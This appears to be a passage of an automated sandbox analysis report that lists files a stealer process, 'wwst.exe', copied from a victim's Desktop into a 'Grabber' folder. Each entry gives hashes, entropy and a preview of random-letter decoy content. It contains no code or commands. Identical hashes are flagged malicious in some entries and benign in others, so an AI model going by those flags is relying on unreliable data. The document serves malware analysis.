Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT\QCOILOQIKC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697125102277996
Encrypted:	false
SSDEEP:	24:uVOXLU7xwK58ZsokCVVZGi4eW0ZFJVPNR+x:c7xR8mwGi4sbv+x
MD5:	207485EFCE70435971C31586A1E4CF97
SHA1:	245A410AEB767B099944A8E81F75FC9A4B270DFB
SHA-256:	BF45E8FD687DC0E63FD40F32F2279152430579EDE044C3BB0852A1AC460D4B09
SHA-512:	A7F01CBBAFE9EA12B4C820F5E1A107D4C6FBD57CFF41C4AC679485F2B7DAFA4E9148AF830A39A083EC866E988A8E279FEB39D5EB58593E75D22253BED4DEFA19
Malicious:	false
Preview:	QCOILOQIKCUYMAHQLCLSCUGPPLVTJEARXPXBWFLOFHRVUSXLZVWHDQNKEMGPPQAGBLIPFAECDZNKKHITNQJASUXZAYMZIQCEHAQMCVZBMFUDBNQEKCBNCGMUWXDJLMJKVRKYBLRGNWGBGEVIGVROENGUXKJERNJSJJEMVLDKUXDFUWUPQNWUYRIEPUFOQKPDSZXXCKNQVBEAVMDMBRZSWYPCNALGHTDFWFNDXKSHXCRLYPVFVYVEOFRHUFZZGNIXSJQCPZGONOYWWUQLBEBGALPOGZBXJUYXTHWOKWNKJYPSELALXQYIKAHXCELBTKSQFTNYWBHRPQFULPLOCWEQAXEQNXOBIQOYFSEEZWHQQLZPBQOUMVZIMRWRLSPDKEBXSTPZLAGVYIORHCDBXTBHYOFKACXVGKKSIFHPOLDOQGIDQPFPVIPGUCGUCQLFFBYAGFJYFOMBUMPAHPQLDOHYAMKEGSDPXEYBQJUOWZOPFYRTLYUYDJHPLVEXBXUGVUEYIBUTUABUIHROFHZMLJUXWGZILWRHVKGOSZXXCIWGRGUZQDKQMTXRRWHDLJPPIRDALEIAYYTEEONIAELEISEOGNTDSALVOZDMFPLJSJMKJYMWGSKCTXHTLYYFJSXNZMDELRTJBNXSGAOEPKCPEEPFZKCAATOWHUWGQAEQNZHTKQEUCFRXVJWOGAEQDIWARNNFKCHEDRWTKEOVTURBKPDMQPPDCJGTYCTIRELHGRIRLWAPLCEHANSMGDZZYCXXDOTQVOSDZJAEBOTEVLSMHXCOWDPVQPSGDIDBAWUTDPIYPVBFSUMFBUYOPRXLECFHENURLSLKGPFWXDUFYOAKNTFKOYFUZEKLRZOLPYKMCKVZOIMDCCSGPQNCQXJOTJDKUQEPVHFKRSGZYJBNUHVTOEMNLTDXGZHTDQFQZCOULTNVZRAVLOIOVIKUTWPYLRJUCUDMYVYFWSBLJTJKMSJEIJXWYNPKGTYLKDAEVBUQUIJX

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT\TQDFJHPUIU.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT\ZIPXYXWIOY.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\JDDHMPCDUJ.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	true
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\QCOILOQIKC.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697125102277996
Encrypted:	false
SSDEEP:	24:uVOXLU7xwK58ZsokCVVZGi4eW0ZFJVPNR+x:c7xR8mwGi4sbv+x
MD5:	207485EFCE70435971C31586A1E4CF97
SHA1:	245A410AEB767B099944A8E81F75FC9A4B270DFB
SHA-256:	BF45E8FD687DC0E63FD40F32F2279152430579EDE044C3BB0852A1AC460D4B09
SHA-512:	A7F01CBBAFE9EA12B4C820F5E1A107D4C6FBD57CFF41C4AC679485F2B7DAFA4E9148AF830A39A083EC866E988A8E279FEB39D5EB58593E75D22253BED4DEFA19
Malicious:	false
Preview:	QCOILOQIKCUYMAHQLCLSCUGPPLVTJEARXPXBWFLOFHRVUSXLZVWHDQNKEMGPPQAGBLIPFAECDZNKKHITNQJASUXZAYMZIQCEHAQMCVZBMFUDBNQEKCBNCGMUWXDJLMJKVRKYBLRGNWGBGEVIGVROENGUXKJERNJSJJEMVLDKUXDFUWUPQNWUYRIEPUFOQKPDSZXXCKNQVBEAVMDMBRZSWYPCNALGHTDFWFNDXKSHXCRLYPVFVYVEOFRHUFZZGNIXSJQCPZGONOYWWUQLBEBGALPOGZBXJUYXTHWOKWNKJYPSELALXQYIKAHXCELBTKSQFTNYWBHRPQFULPLOCWEQAXEQNXOBIQOYFSEEZWHQQLZPBQOUMVZIMRWRLSPDKEBXSTPZLAGVYIORHCDBXTBHYOFKACXVGKKSIFHPOLDOQGIDQPFPVIPGUCGUCQLFFBYAGFJYFOMBUMPAHPQLDOHYAMKEGSDPXEYBQJUOWZOPFYRTLYUYDJHPLVEXBXUGVUEYIBUTUABUIHROFHZMLJUXWGZILWRHVKGOSZXXCIWGRGUZQDKQMTXRRWHDLJPPIRDALEIAYYTEEONIAELEISEOGNTDSALVOZDMFPLJSJMKJYMWGSKCTXHTLYYFJSXNZMDELRTJBNXSGAOEPKCPEEPFZKCAATOWHUWGQAEQNZHTKQEUCFRXVJWOGAEQDIWARNNFKCHEDRWTKEOVTURBKPDMQPPDCJGTYCTIRELHGRIRLWAPLCEHANSMGDZZYCXXDOTQVOSDZJAEBOTEVLSMHXCOWDPVQPSGDIDBAWUTDPIYPVBFSUMFBUYOPRXLECFHENURLSLKGPFWXDUFYOAKNTFKOYFUZEKLRZOLPYKMCKVZOIMDCCSGPQNCQXJOTJDKUQEPVHFKRSGZYJBNUHVTOEMNLTDXGZHTDQFQZCOULTNVZRAVLOIOVIKUTWPYLRJUCUDMYVYFWSBLJTJKMSJEIJXWYNPKGTYLKDAEVBUQUIJX

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	true
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\ZIPXYXWIOY.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Documents\CZQKSDDMWR.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\wwst.exe
